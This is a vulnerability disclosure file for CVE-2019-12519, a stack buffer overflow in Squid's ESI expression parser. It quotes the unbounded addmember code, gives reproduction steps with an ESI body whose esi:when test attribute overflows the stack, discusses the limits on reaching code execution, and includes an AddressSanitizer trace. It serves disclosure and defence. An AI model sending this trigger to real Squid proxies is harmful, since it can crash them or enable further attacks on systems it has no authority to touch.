CVE-2019-12519.txt 8.3 KB
Newer Older
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
--------------------------------------------------------------------------------
Vulnerability: ESI Expression Stack Buffer Overflow
Impact: Overwriting the stack could lead to RCE.
Versions: All
Squid Announce: No announce

Additional Information: Not fixed yet
--------------------------------------------------------------------------------

When ESI is handling <esi:when> it reads the attribute test and evaluates the
expression. This is handled in ESIExpression::Evaluate. Here a buffer is
allocated on the stack

 stackmember stack[20];

 The attribute's contents is parsed via getsymbol. These symbols are then
 added to the stack via addmember

 Add member will either add it to the stack if the candidate precedence is
 larger than the top 2 on the current stack, or if it's a literal


        if (candidate->precedence < stack[*stackdepth - 1].precedence ||
                candidate->precedence < stack[*stackdepth - 2].precedence) {
            /* must be an operator */

            if (stack[*stackdepth - 2].valuetype == ESI_EXPR_LITERAL ||
                    stack[*stackdepth - 2].valuetype == ESI_EXPR_INVALID ||
                    stack[*stackdepth - 2].eval(stack, stackdepth,
                                                *stackdepth - 2, candidate)) {
				<snip>
            }
        } else {
            stack[(*stackdepth)++] = *candidate;
        }
    } else if (candidate->valuetype != ESI_EXPR_INVALID)
        stack[(*stackdepth)++] = *candidate;

Although it has the stackdepth, it never checks to see if it's reached the
limit of this buffer, thus leading to a stack overflow.

Repo Steps:
	1) Setup Squid to be a reverse Proxy
	2) Have the server that's being reverse proxied serve up ESI headers:
		Surrogate-Control: content="ESI/1.0"

	And a body such as:
	<html xmlns:esi="http://www.edge-delivery.org/esi/1.0">
	<body>
		<esi:when test="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0">
		</esi:when>
	</body>
</html>


Overwriting the stack could lead to code execution. Even though an attacker
could trigger this they only control 8 of the 32 bytes that will be
overwritten when adding a struct _stackmember. They'd have to ensure things
align properly to overwrite a ret address. If compiled with stack cookies an
attacker would have to overcome that as well to get anything other than a DOS
attack out of this



==4326==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe846cd9d0 at pc 0x564d334297b3 bp 0x7ffe846cd510 sp 0x7ffe846cd500
WRITE of size 32 at 0x7ffe846cd9d0 thread T0
    #0 0x564d334297b2 in addmember /home/j1/h4x/squid-git/src/esi/Expression.cc:971
    #1 0x564d33429d1f in ESIExpression::Evaluate(char const*) /home/j1/h4x/squid-git/src/esi/Expression.cc:993
    #2 0x564d3341a9a1 in esiWhen::evaluate() /home/j1/h4x/squid-git/src/esi/Esi.cc:2203
    #3 0x564d3341a34b in esiWhen::esiWhen(RefCount<esiTreeParent>, int, char const**, ESIVarState*) /home/j1/h4x/squid-git/src/esi/Esi.cc:2180
    #4 0x564d334072af in ESIContext::start(char const*, char const**, unsigned long) /home/j1/h4x/squid-git/src/esi/Esi.cc:1055
    #5 0x564d3344de78 in ESIExpatParser::Start(void*, char const*, char const**) /home/j1/h4x/squid-git/src/esi/ExpatParser.cc:41
    #6 0x7f5a025031be  (/usr/lib64/libexpat.so.1+0xb1be)
    #7 0x7f5a0250610d  (/usr/lib64/libexpat.so.1+0xe10d)
    #8 0x7f5a0250761a  (/usr/lib64/libexpat.so.1+0xf61a)
    #9 0x7f5a0250b0b9 in XML_ParseBuffer (/usr/lib64/libexpat.so.1+0x130b9)
    #10 0x564d3344e168 in ESIExpatParser::parse(char const*, unsigned long, bool) /home/j1/h4x/squid-git/src/esi/ExpatParser.cc:71
    #11 0x564d33409edc in ESIContext::parseOneBuffer() /home/j1/h4x/squid-git/src/esi/Esi.cc:1215
    #12 0x564d3340a697 in ESIContext::parse() /home/j1/h4x/squid-git/src/esi/Esi.cc:1260
    #13 0x564d3340aa2a in ESIContext::process() /home/j1/h4x/squid-git/src/esi/Esi.cc:1291
    #14 0x564d333fcb6e in ESIContext::kick() /home/j1/h4x/squid-git/src/esi/Esi.cc:314
    #15 0x564d33402877 in esiProcessStream(clientStreamNode*, ClientHttpRequest*, HttpReply*, StoreIOBuffer) /home/j1/h4x/squid-git/src/esi/Esi.cc:786
    #16 0x564d32c68a8b in clientStreamCallback(clientStreamNode*, ClientHttpRequest*, HttpReply*, StoreIOBuffer) /home/j1/h4x/squid-git/src/clientStream.cc:159
    #17 0x564d32c36aad in clientReplyContext::pushStreamData(StoreIOBuffer const&, char*) /home/j1/h4x/squid-git/src/client_side_reply.cc:1949
    #18 0x564d32c3a81a in clientReplyContext::sendMoreData(StoreIOBuffer) /home/j1/h4x/squid-git/src/client_side_reply.cc:2243
    #19 0x564d32c35e44 in clientReplyContext::SendMoreData(void*, StoreIOBuffer) /home/j1/h4x/squid-git/src/client_side_reply.cc:1895
    #20 0x564d32e8442a in store_client::callback(long, bool) /home/j1/h4x/squid-git/src/store_client.cc:177
    #21 0x564d32e87346 in store_client::scheduleMemRead() /home/j1/h4x/squid-git/src/store_client.cc:473
    #22 0x564d32e86b32 in store_client::scheduleRead() /home/j1/h4x/squid-git/src/store_client.cc:439
    #23 0x564d32e86501 in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid-git/src/store_client.cc:400
    #24 0x564d32e85c36 in storeClientCopy2 /home/j1/h4x/squid-git/src/store_client.cc:354
    #25 0x564d32e8476a in storeClientCopyEvent /home/j1/h4x/squid-git/src/store_client.cc:193
    #26 0x564d32cbb5e6 in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid-git/src/event.cc:41
    #27 0x564d32cbc1e6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145
    #28 0x564d33096b11 in AsyncCall::make() /home/j1/h4x/squid-git/src/base/AsyncCall.cc:40
    #29 0x564d33098691 in AsyncCallQueue::fireNext() /home/j1/h4x/squid-git/src/base/AsyncCallQueue.cc:56
    #30 0x564d330981ad in AsyncCallQueue::fire() /home/j1/h4x/squid-git/src/base/AsyncCallQueue.cc:42
    #31 0x564d32cbd32c in EventLoop::dispatchCalls() /home/j1/h4x/squid-git/src/EventLoop.cc:144
    #32 0x564d32cbce87 in EventLoop::runOnce() /home/j1/h4x/squid-git/src/EventLoop.cc:109
    #33 0x564d32cbca80 in EventLoop::run() /home/j1/h4x/squid-git/src/EventLoop.cc:83
    #34 0x564d32dc11ee in SquidMain(int, char**) /home/j1/h4x/squid-git/src/main.cc:1702
    #35 0x564d32dbf80c in SquidMainSafe /home/j1/h4x/squid-git/src/main.cc:1410
    #36 0x564d32dbf759 in main /home/j1/h4x/squid-git/src/main.cc:1398
    #37 0x7f59ffe2e746 in __libc_start_main (/lib64/libc.so.6+0x23746)
    #38 0x564d32b3c1c9 in _start (/home/j1/h4x/squid-debug/sbin/squid+0x5501c9)

Address 0x7ffe846cd9d0 is located in stack of thread T0 at offset 928 in frame
    #0 0x564d33429a6f in ESIExpression::Evaluate(char const*) /home/j1/h4x/squid-git/src/esi/Expression.cc:981

  This frame has 5 object(s):
    [32, 36) 'stackdepth'
    [96, 104) 'end'
    [160, 192) 'candidate'
    [224, 256) 'rv'
    [288, 928) 'stack' <== Memory access at offset 928 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/j1/h4x/squid-git/src/esi/Expression.cc:971 in addmember
Shadow bytes around the buggy address:
  0x1000508d1ae0: f2 f2 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
  0x1000508d1af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000508d1b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000508d1b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000508d1b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000508d1b30: 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 00 00
  0x1000508d1b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000508d1b50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
  0x1000508d1b60: f1 f1 f8 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 f3 f3
  0x1000508d1b70: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000508d1b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4326==ABORTING